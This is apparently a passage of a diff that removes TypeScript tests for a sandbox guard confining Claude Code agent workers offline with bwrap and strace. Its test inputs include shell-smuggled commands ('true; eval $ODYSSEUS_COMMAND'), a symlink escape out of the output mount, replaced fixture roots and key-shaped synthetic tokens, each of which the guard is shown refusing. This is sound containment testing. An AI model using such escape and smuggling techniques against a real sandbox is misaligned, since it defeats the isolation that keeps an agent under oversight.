process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - registerScriptedService("http://127.0.0.1:1"); - const token=nativeSyntheticCredential("CLAUDE_CODE_OAUTH_TOKEN"); - const leave=nativeScriptedService("http://127.0.0.1:2"); - try {for(const value of [token,"sk-ant-oat01-offline-odysseus-not-generated"]){ - const plan=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},CLAUDE_CODE_OAUTH_TOKEN:value,ANTHROPIC_BASE_URL:"http://127.0.0.1:2"}}); - const argv=plan.argv,at=argv.indexOf("CLAUDE_CODE_OAUTH_TOKEN"); - if((value===token)!==(at>=0&&argv[at+1]===value))throw Error("synthetic credential provenance lost"); - writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose(); - }} finally{leave();} - const source=readFileSync(${JSON.stringify(join(ROOT,"scripts/measure-turn-surface-live.ts"))},"utf8"); - const hook=source.slice(source.indexOf("spawnClaudeCodeProcess: spec"),source.indexOf("turn = await startOverlappedTurn")); - if(!hook.includes("nativeScriptedService(offline.nativeBaseUrl")||hook.indexOf("nativeScriptedService(")>hook.indexOf("child = spawn("))throw Error("collector did not pin service before spawn"); - if(!source.includes('offline ? nativeSyntheticCredential("CLAUDE_CODE_OAUTH_TOKEN")'))throw Error("collector did not generate its synthetic token");`,scratch); - expect(result.code,result.output).toBe(0); - }finally{rmSync(scratch,{recursive:true,force:true});} -}); - -test("a native argv cannot use an argument named bwrap as its isolation launcher",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-fake-launcher-")); - try{ - writeFileSync(join(scratch,"bwrap"),"#!/bin/sh\nexit 0\n",{mode:0o755}); - const command=[runtime!,join(scratch,"bwrap")]; - const result=await probe(`${imports}import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}; - nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:${JSON.stringify(JSON.stringify({command,argv:command,brainPath:scratch}))}});`,scratch); - expect(result.code).not.toBe(0);expect(result.output).toContain("native worker lacks the OS launcher");expect(result.output).toContain('"nativeLaunched":false'); - }finally{rmSync(scratch,{recursive:true,force:true});} -}); - -test("worker filesystem-filter prefix is verified before native admission",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-worker-filter-")); - try{ - const result=await probe(`${imports} - import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {WORKER_FILESYSTEM_FILTER_PROGRAM} from ${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/worker-filesystem-filter.ts"))};import {writeFileSync} from "node:fs"; - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); - const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}},argv:["/usr/bin/python3","-I","-S","-c",WORKER_FILESYSTEM_FILTER_PROGRAM,"bwrap","--",${JSON.stringify(runtime)}]})}); - const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; - if(!argv.includes(WORKER_FILESYSTEM_FILTER_PROGRAM)||!argv.includes("--unshare-net"))throw Error("trusted filter or OS boundary lost"); - writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();`,scratch); - expect(result.code,result.output).toBe(0); - }finally{rmSync(scratch,{recursive:true,force:true});} -}); - -test("guard-created fixture roots cannot authorize a replacement host tree",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-owned-root-")); - try{ - const result=await probe(`${imports} - import {nativeFixtureDirectory,nativeWorkerBoundary,nativeScriptedService} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync,renameSync,mkdirSync,rmSync} from "node:fs"; - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[]}); - const root=nativeFixtureDirectory("odysseus-created-input-"),file=root+"/input";writeFileSync(file,"created-fixture");nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[root]});let plan; - try {plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],argv:["bwrap","--ro-bind",file,"/tmp/input","--",${JSON.stringify(runtime)}]})}); - renameSync(root,root+"-original");mkdirSync(root);writeFileSync(file,"replacement-outside-data"); - let refused=false;try{plan.beforeLaunch();}catch(error){refused=String(error).includes("worker bind was not created or staged by the fixture");} - if(!refused)throw Error("replacement root was admitted");console.error("CREATED_ROOT_REPLACEMENT_REFUSED"); - }finally{plan?.dispose();rmSync(root,{recursive:true,force:true});rmSync(root+"-original",{recursive:true,force:true});}`,scratch); - expect(result.code).not.toBe(0);expect(result.output.split("\n")).toContain("CREATED_ROOT_REPLACEMENT_REFUSED"); - }finally{rmSync(scratch,{recursive:true,force:true});} -}); - -test("a refused worker spawn rejects and closes the failed invocation promptly",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-refusal-deadline-")); - try{ - const wrapper=join(scratch,"fixture-wrapper"),marker=join(scratch,"launched"),script=join(scratch,"probe.ts"); - writeFileSync(wrapper,`#!/bin/sh\nprintf launched > '${marker}'\n`);chmodSync(wrapper,0o700); - writeFileSync(script,`${imports} - await Promise.resolve().then(()=>Bun.spawn([${JSON.stringify(wrapper)},${JSON.stringify(runtime)}],{env:{BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(wrapper)},${JSON.stringify(runtime)}],argv:["bwrap","--",${JSON.stringify(wrapper)},${JSON.stringify(runtime)}]})}})).catch(()=>console.error("SPAWN_PROMISE_REJECTED")); - setInterval(()=>{},1000);`); - const child=spawnGuardFixture([process.execPath,script],{env:{PATH:"/usr/bin:/bin",HOME:scratch},stdout:"pipe",stderr:"pipe",signal:AbortSignal.timeout(watchdogMs(5000))}); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(code,err).toBe(1);expect(out).toBe("");expect(err.split("\n")).toContain("SPAWN_PROMISE_REJECTED"); - expect(err).toContain('"nativeLaunched":false');expect(err).not.toContain("attempted real network access");expect(err).toContain("native isolation failed; see native-offline-* receipts");expect(existsSync(marker)).toBe(false); - }finally{rmSync(scratch,{recursive:true,force:true});} -},watchdogMs(15000)); - -test("keeper output root requires a guarded child namespace and pinned fixture handle",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-keeper-registration-")),keeperRoot=mkdtempSync(join(tmpdir(),"odysseus-keeper-output-")),outside=mkdtempSync(join(tmpdir(),"odysseus-keeper-outside-")); - try{ - mkdirSync(join(keeperRoot,"merged/.brain/scratch"),{recursive:true});writeFileSync(join(keeperRoot,"merged/.brain/scratch/result.md"),"Odysseus returns to Ithaca."); - symlinkSync(outside,join(keeperRoot,"merged/escape")); - const result=await probe(`import * as fs from "node:fs";import {mock} from "bun:test"; - const child=Bun.spawn([process.execPath,"--no-env-file","-e",'process.stdin.resume();process.stdin.once("end",()=>process.exit(0));'],{stdin:"pipe",stdout:"ignore",stderr:"ignore"}); - const originalFs={...fs},namespace=\`/proc/\${child.pid}/ns/mnt\`; - // Metadata-only stand-in for a separate tmpfs namespace. No namespace or - // installed runtime executes; the hosted cell supplies the kernel proof. - mock.module("node:fs",()=>({...originalFs,statSync:(path,options)=>{const info=originalFs.statSync(path,options);return path===namespace?{...info,ino:typeof info.ino==="bigint"?info.ino+1n:info.ino+1}:info;},statfsSync:()=>({type:0x01021994})})); - const guard=await import(${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}); - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - guard.nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[${JSON.stringify(scratch)}]}); - guard.recordNativeGuardChild(child); - const fd=fs.openSync(${JSON.stringify(keeperRoot)},"r"),start=fs.readFileSync(\`/proc/\${child.pid}/stat\`,"utf8").replace(/^.*\\) /s,"").split(" ")[19]; - const unregister=guard.registerNativeFixtureKeeper({root:\`/proc/\${process.pid}/fd/\${fd}\`,mount:${JSON.stringify(keeperRoot)},namespacePid:child.pid,namespaceStart:start}); - const env={BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}},argv:["/usr/bin/nsenter","--target",String(child.pid),"--user","--mount","--preserve-credentials","--","bwrap","--bind",${JSON.stringify(join(keeperRoot,"merged/.brain/scratch"))},"/tmp/odysseus-output","--",${JSON.stringify(runtime)}]})}; - try{ - const plan=guard.nativeWorkerBoundary(env);plan.beforeLaunch(); - const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; - const binds=argv.slice(argv.indexOf("--bind"));if(!binds.includes(${JSON.stringify(join(keeperRoot,"merged/.brain/scratch"))}))throw Error("PUBLICATION_BIND_CHANGED"); - fs.writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();console.error(JSON.stringify({keeperRoot:"admitted"})); - const hostNamespace=JSON.parse(env.BRAIN_WORKER_LAUNCH);hostNamespace.argv=hostNamespace.argv.filter(value=>value!=="--mount"); - try{const unsafe=guard.nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify(hostNamespace)});unsafe.dispose();throw Error("KEEPER_WITHOUT_MOUNT_ADMITTED");}catch(error){if(!String(error).includes("worker bind was not created or staged by the fixture"))throw error;console.error(JSON.stringify({keeperRoot:"missing-mount-refused"}));} - const escaped=JSON.parse(env.BRAIN_WORKER_LAUNCH);escaped.argv[escaped.argv.indexOf("--bind")+1]=${JSON.stringify(join(keeperRoot,"merged/escape"))}; - try{const unsafe=guard.nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify(escaped)});unsafe.dispose();throw Error("KEEPER_SYMLINK_ESCAPE_ADMITTED");}catch(error){if(!String(error).includes("worker bind was not created or staged by the fixture"))throw error;console.error(JSON.stringify({keeperRoot:"escape-refused"}));} - unregister(); - try{const unsafe=guard.nativeWorkerBoundary(env);unsafe.dispose();throw Error("UNREGISTERED_KEEPER_ADMITTED");}catch(error){if(!String(error).includes("worker bind was not created or staged by the fixture"))throw error;console.error(JSON.stringify({keeperRoot:"unregistered-refused"}));} - }finally{unregister();child.stdin.end();child.kill("SIGKILL");fs.closeSync(fd);}`,scratch); - expect(result.output.split("\n")).toContain('{"keeperRoot":"missing-mount-refused"}');expect(result.output.split("\n")).toContain('{"keeperRoot":"admitted"}');expect(result.output.split("\n")).toContain('{"keeperRoot":"unregistered-refused"}');expect(result.output.split("\n")).toContain('{"keeperRoot":"escape-refused"}');expect(result.code).toBe(1); - }finally{rmSync(scratch,{recursive:true,force:true});rmSync(keeperRoot,{recursive:true,force:true});rmSync(outside,{recursive:true,force:true});} -}); - -test("worker plans stage only their canonical read-only resolver with synthetic bytes",async()=>{ - for(const mode of ["canonical","unregistered","writable"] as const){ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-resolver-plan-")); - try{ - const resolver=join(scratch,"resolver"),other=join(scratch,"other"); - writeFileSync(resolver,"SIRENS_PRIVATE_DNS_MUST_NOT_COPY");writeFileSync(other,"OUTSIDE_CREDENTIAL_SENTINEL"); - const result=await probe(`import * as fs from "node:fs";import {mock} from "bun:test"; - const original={...fs}; - mock.module("node:fs",()=>({...original,realpathSync:(path,...args)=>path==="/etc/resolv.conf"?${JSON.stringify(resolver)}:original.realpathSync(path,...args),readFileSync:(path,...args)=>{if(path===${JSON.stringify(resolver)})throw Error("HOST_RESOLVER_BYTES_READ");return original.readFileSync(path,...args);}})); - const guard=await import(${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}); - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - guard.nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[]}); - const plan=guard.nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],argv:["bwrap",${JSON.stringify(mode==="writable"?"--bind":"--ro-bind")},${JSON.stringify(mode==="unregistered"?other:resolver)},"/etc/resolv.conf","--",${JSON.stringify(runtime)}]})}); - try{plan.beforeLaunch();const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; - const at=argv.indexOf("/etc/resolv.conf"),copy=argv[at-1]; - if(copy===${JSON.stringify(resolver)}||original.readFileSync(copy,"utf8")!=="nameserver 127.0.0.1\\noptions attempts:1 timeout:1\\n"||(original.statSync(copy).mode&0o777)!==0o444)throw Error("RESOLVER_PLAN_NOT_SYNTHETIC_READONLY"); - fs.writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});console.error("RESOLVER_PLAN_SYNTHETIC"); - }finally{plan.dispose();}`,scratch); - expect(result.output).not.toContain("HOST_RESOLVER_BYTES_READ"); - if(mode==="canonical"){expect(result.code,result.output).toBe(0);expect(result.output.split("\n")).toContain("RESOLVER_PLAN_SYNTHETIC");} - else{expect(result.code).not.toBe(0);expect(result.output).toContain(mode==="writable"?"native resolver bind must be read-only":"worker bind was not created or staged by the fixture");} - }finally{rmSync(scratch,{recursive:true,force:true});} - } -}); - - -test("socket denial audit records raw syscalls without trusting stderr or syscall-looking data",async()=>{ - const {deniedNativeSocketOperations}=await import("../scripts/test-native-guard"); - expect(deniedNativeSocketOperations('42 connect(0x3, 0x123, 0x20) = -1 EPERM\n42 sendmsg(0x3, 0x456, 0x0) = -1 EPERM\n42 <... bind resumed>) = -1 EACCES\n42 openat(3, "connect(3) = -1 EPERM", 0) = -1 ENOENT\n42 execve("sendto(3) = -1 EPERM", [], 0) = 0\nchild claimed connect(3) = -1 EPERM')).toBe(3); -}); - -test("runtime provenance rechecks walk entries without re-attesting fixtures for every runtime file",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-provenance-cost-")); - try{ - const result=await probe(`import * as fs from "node:fs";import {mock} from "bun:test"; - const ROOT=${JSON.stringify(ROOT)},backend=ROOT+"/packages/ui-backend-claude";let stamp="",stampChecks=0,runtimeFiles=0,backendTraversals=0; - const original={...fs};mock.module("node:fs",()=>({...original, - lstatSync:(path,...args)=>{const info=original.lstatSync(path,...args);if(path===stamp)stampChecks++;if(info.isFile()&&(String(path).startsWith(ROOT+"/packages/")||String(path).startsWith(ROOT+"/node_modules/")))runtimeFiles++;return info;}, - readdirSync:(path,...args)=>{if(path===backend)backendTraversals++;return original.readdirSync(path,...args);} - })); - const guard=await import(${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}); - const spawnSync=Bun.spawnSync,which=Bun.which;Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - stamp=guard.nativeFixtureDirectory("odysseus-attestation-count-");guard.nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[]}); - let plan;try{ - plan=guard.nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],argv:["bwrap","--ro-bind",backend,"/tmp/odysseus-runtime-alias","--",${JSON.stringify(runtime)}]})}); - const initial=backendTraversals;plan.beforeLaunch(); - const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv;fs.writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)}); - console.error(JSON.stringify({runtimeProvenanceCost:{stampChecks,runtimeFiles,backendTraversals,initial}})); - }finally{plan?.dispose();fs.rmSync(stamp,{recursive:true,force:true});}`,scratch); - expect(result.code,result.output).toBe(0); - const cost=JSON.parse(result.output.split("\n").find(line=>line.startsWith('{"runtimeProvenanceCost":'))!).runtimeProvenanceCost; - expect(cost.runtimeFiles,"RUNTIME_TREE_WAS_WALKED").toBeGreaterThan(100); - expect(cost.stampChecks,"FIXTURE_ATTESTATIONS_ARE_NOT_PER_RUNTIME_FILE").toBeLessThan(cost.runtimeFiles/5); - expect(cost.backendTraversals,"OVERLAPPING_MOUNTS_WALKED_ONCE_PER_VALIDATION").toBeLessThanOrEqual(4); - expect(cost.backendTraversals,"BEFORE_LAUNCH_RECHECK_IS_FRESH").toBeGreaterThan(cost.initial); - }finally{rmSync(scratch,{recursive:true,force:true});} -}); - -test("direct and trusted worker plans admit only a registered turn-proxy endpoint",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-proxy-plan-")); - try{ - const result=await probe(`${imports} - import * as guard from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync} from "node:fs"; - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - const root=${JSON.stringify(scratch)},runtime=${JSON.stringify(runtime)},entry=${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"))}; - guard.nativeScriptedService("http://127.0.0.1:9",{fixtureRoots:[root],turnProxy:true}); - const tunnel=guard.startNativeTurnProxyTunnel("http://127.0.0.1:9",root);await new Promise(resolve=>setImmediate(resolve)); - function finish(plan,argv){writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();} - try{ - const direct=guard.nativeClaudeBoundary(runtime,[],{cwd:root,env:{HOME:root,PATH:"/usr/bin:/bin",ANTHROPIC_UNIX_SOCKET:tunnel.socket,ANTHROPIC_BASE_URL:"http://localhost/anthropic"}}); - if(!direct.argv.some((arg,i)=>arg==="--setenv"&&direct.argv[i+1]==="ANTHROPIC_BASE_URL"&&direct.argv[i+2]==="http://localhost/anthropic"))throw Error("DIRECT_ADMITTED_BASE_PATH_PRESERVED"); - if(!direct.argv.includes("--turn-proxy")||!direct.argv.includes(entry))throw Error("DIRECT_PROXY_REGISTRATION_MISSING");finish(direct,direct.argv); - for(const [trusted,registered] of [[true,true],[true,false],[false,true]]){ - const command=[runtime],wrapper=trusted?[process.execPath,entry]:["/usr/bin/true"]; - const argv=["bwrap","--ro-bind",tunnel.socket,"/run/brain-inference/relay.sock",...(registered?["--ro-bind",tunnel.socket,guard.WORKER_TURN_PROXY]:[]),"--",...wrapper,...command]; - const plan=guard.nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command,argv,brainPath:root,env:{HOME:root,PATH:"/usr/bin:/bin",ANTHROPIC_UNIX_SOCKET:"/run/brain-inference/relay.sock",ANTHROPIC_BASE_URL:"http://localhost/anthropic"}})}),actual=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; - if(!actual.some((arg,i)=>arg==="--setenv"&&actual[i+1]==="ANTHROPIC_BASE_URL"&&actual[i+2]==="http://localhost/anthropic"))throw Error("WORKER_ADMITTED_BASE_PATH_PRESERVED"); - if(actual.includes("--turn-proxy")!==(trusted&®istered))throw Error("WORKER_PROXY_REQUIRES_TRUSTED_WRAPPER_AND_REGISTRATION");finish(plan,actual); - } - }finally{tunnel.dispose();}`,scratch); - expect(result.code,result.output).toBe(0); - }finally{rmSync(scratch,{recursive:true,force:true});} -}); - -test("every native launch path preserves the product environment except documented guard keys",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-all-native-auth-")); - try{ - const result=await probe(`${imports} - import {writeFileSync,mkdirSync} from "node:fs";import {query} from ${JSON.stringify(Bun.resolveSync("@anthropic-ai/claude-agent-sdk",ROOT))};import {createFixtureWorkerStartupView} from ${JSON.stringify(join(ROOT,"packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts"))};import {spyOn} from "bun:test"; - import * as launcher from ${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/worker-launcher.ts"))}; - import {WORKER_IDENTITY_SUPERVISOR} from ${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/worker-identity-program.ts"))}; - import {nativeWorkerBoundary,nativeScriptedService} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}; - spyOn(launcher,"verifiedWorkerIdentity").mockReturnValue({identity:"separate_uid",workerUid:(process.getuid()||21000)+1}); - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - const recorder=Bun.serve({port:0,fetch:()=>new Response("Ithaca")});const leave=nativeScriptedService(recorder.url.origin,{fixtureRoots:[${JSON.stringify(scratch)}],fixtureCredentials:{CLAUDE_CODE_OAUTH_TOKEN:"sk-ant-oat01-odysseus-fixture"}}); - const source=${JSON.stringify(join(scratch,"product-inference.sock"))},target="/run/brain-egress/inference.sock",relay=Bun.serve({unix:source,fetch:()=>new Response("Ithaca")}); - async function sdkEnvironment(env){let captured;const sentinel=new Error("CAPTURE_ONLY_NO_NATIVE_EXEC");let result;try{result=query({prompt:"Ithaca",options:{env,pathToClaudeCodeExecutable:${JSON.stringify(runtime)},spawnClaudeCodeProcess(spec){captured=spec.env;throw sentinel;}}});for await(const message of result){}}catch(error){if(!captured)throw error;}finally{result?.close?.();}if(!captured)throw Error("REAL_SDK_ENV_REQUIRED");return captured;} - const productBrain=${JSON.stringify(join(scratch,"product-brain"))};mkdirSync(productBrain);const startupView=createFixtureWorkerStartupView(productBrain); - try { - const declaredKey="sk-ant-api03-"+"d".repeat(95)+"AA",completed=[]; - for(const path of ["direct","prewarm","worker","relayed","separate-UID"]){ - for(const productSocket of (path==="relayed"?[true]:[false,true]))for(const flag of [undefined,"0","1"]){ - let env={HOME:${JSON.stringify(scratch)},CLAUDE_CONFIG_DIR:${JSON.stringify(scratch)},PATH:"/usr/bin:/bin",LANG:"el_GR.UTF-8",CLAUDE_CODE_ENTRYPOINT:"fixture-sdk",CLAUDE_AGENT_SDK_VERSION:"fixture-version",CLAUDE_CODE_ENABLE_TELEMETRY:"1",OTEL_SERVICE_NAME:"odysseus",MAX_THINKING_TOKENS:"1024",NO_COLOR:"1",BRAIN_MCP_PREFIX:"odysseus",ODYSSEUS_UNLISTED_PRODUCT_KEY:"Ithaca",CLAUDE_CODE_USE_BEDROCK:"",CLAUDE_CODE_USE_VERTEX:"",CLAUDE_CODE_USE_FOUNDRY:"",DISABLE_PROMPT_CACHING:"1",...(flag===undefined?{}:{CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC:flag,DISABLE_AUTOUPDATER:flag}),ANTHROPIC_BASE_URL:recorder.url.origin,ANTHROPIC_API_KEY:productSocket?"brain-inference-relay-placeholder":declaredKey,...(!productSocket?{CLAUDE_CODE_OAUTH_TOKEN:"sk-ant-oat01-odysseus-fixture"}:{}),...(productSocket?{ANTHROPIC_UNIX_SOCKET:target}:{})}; - if(path==="direct"||path==="prewarm")env=await sdkEnvironment(env); - else{const productArgv=launcher.workerCommand({brainPath:productBrain,startupView,command:[${JSON.stringify(runtime)}],env});const projected={};for(let i=0;i["--setenv",key,value]),...(productSocket?["--ro-bind",source,target]:[]),"--",...gates,${JSON.stringify(runtime)}]; - const outer=path==="separate-UID"?["/usr/bin/python3","-I","-S","-c",WORKER_IDENTITY_SUPERVISOR,JSON.stringify({argv:payload})]:payload; - const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env,argv:outer})});argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv;dispose=plan.dispose; - if(path==="separate-UID")argv=JSON.parse(argv[5]).argv; - } - if(!productSocket&&!["direct","prewarm"].includes(path)){const gate=argv.indexOf("brain-worker-start-gate"),entry=argv.findIndex(arg=>arg.endsWith("/egress-worker-entry.ts")),broker=argv.findIndex((arg,index)=>arg.endsWith("/native-connect")&&argv[index+1]==="--head");if(!(gate>=0&&entry>gate&&broker>entry))throw Error("REAL_WORKER_PLAN_GATES_THEN_FORWARDER_THEN_FILTER:"+path);} - const injected={};for(let i=0;i{ - const env={BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/bin/true"],argv:["/bin/sh","-c","exec sleep 30"],env:{}})}; - const boundary=nativeWorkerBoundary(env);expect(boundary.native,"NON_NATIVE_STANDIN_SKIPS_NATIVE_AGREEMENT").toBe(false);expect(boundary.env).toBe(env); - expect(nativeWorkerArgvNeedsIsolation(["/bin/sh","-c","exec sleep 30"])).toBe(false); -}); -for(const mode of ["native-argv","native-command","shell-native","shell-nested","shell-sequence","supervisor-native"] as const)test(`native worker admission refuses ${mode} mismatch`,async()=>{ - const code=`import {nativeWorkerBoundary} from ${JSON.stringify(guard)}; - import {WORKER_IDENTITY_SUPERVISOR} from ${JSON.stringify(join(import.meta.dir,"../packages/ui-sdk/src/server/worker-identity-program.ts"))}; - const runtime=${JSON.stringify(runtime)},mode=${JSON.stringify(mode)}; - let command=["/bin/true"],argv=["bwrap","--",runtime]; - if(mode==="native-command"){command=[runtime];argv=["bwrap","--","/bin/true"];} - if(mode==="shell-native")argv=["/bin/sh","-c","exec "+runtime]; - if(mode==="shell-nested")argv=["/bin/sh","-c","exec /bin/sh -c "+JSON.stringify("exec "+runtime)]; - if(mode==="shell-sequence")argv=["/bin/sh","-c","true; "+runtime]; - if(mode==="shell-eval")argv=["/bin/sh","-c",'true; eval "$ODYSSEUS_COMMAND"']; - if(mode==="shell-missing")argv=["/bin/sh","-c","exec /odysseus-unresolvable-runtime"]; - if(mode==="shell-dynamic")argv=["/bin/sh","-c",'exec "$ODYSSEUS_RUNTIME"']; - if(mode==="supervisor-native")argv=["/usr/bin/python3","-I","-S","-c",WORKER_IDENTITY_SUPERVISOR,JSON.stringify({argv:["bwrap","--",runtime]})]; - try{nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command,argv,env:{}})});}catch{}`; - const child=spawnGuardFixture([process.execPath,"-e",code]);const[exit,out]=await Promise.all([child.exited,child.guardOutput()]); - expect(exit,"NATIVE_OR_UNKNOWN_WORKER_MISMATCH_REFUSED "+mode).not.toBe(0);expect(out).toContain("worker command and executable argv disagree"); -}); - -test("unresolvable executable and dynamic exec targets never classify as non-native",()=>{ - for(const argv of [["/odysseus-missing-executable"],["/bin/sh","-c",'exec "$ODYSSEUS_RUNTIME"'],["/bin/sh","-c","exec /odysseus-missing-executable"]])expect(nativeWorkerArgvNeedsIsolation(argv),"UNKNOWN_WORKER_EXECUTABLE_REQUIRES_ISOLATION").toBe(true); -}); - -test("pinned host qualification probe classifies its explicit positional executable",()=>{ - const script='cd / && exec "$0" --no-env-file -e "$1"'; - expect(nativeWorkerArgvNeedsIsolation(["/bin/sh","-c",script,process.execPath,"console.log('fixture')"]),"PINNED_HOST_PROBE_IS_POSITIVELY_NON_NATIVE").toBe(false); - 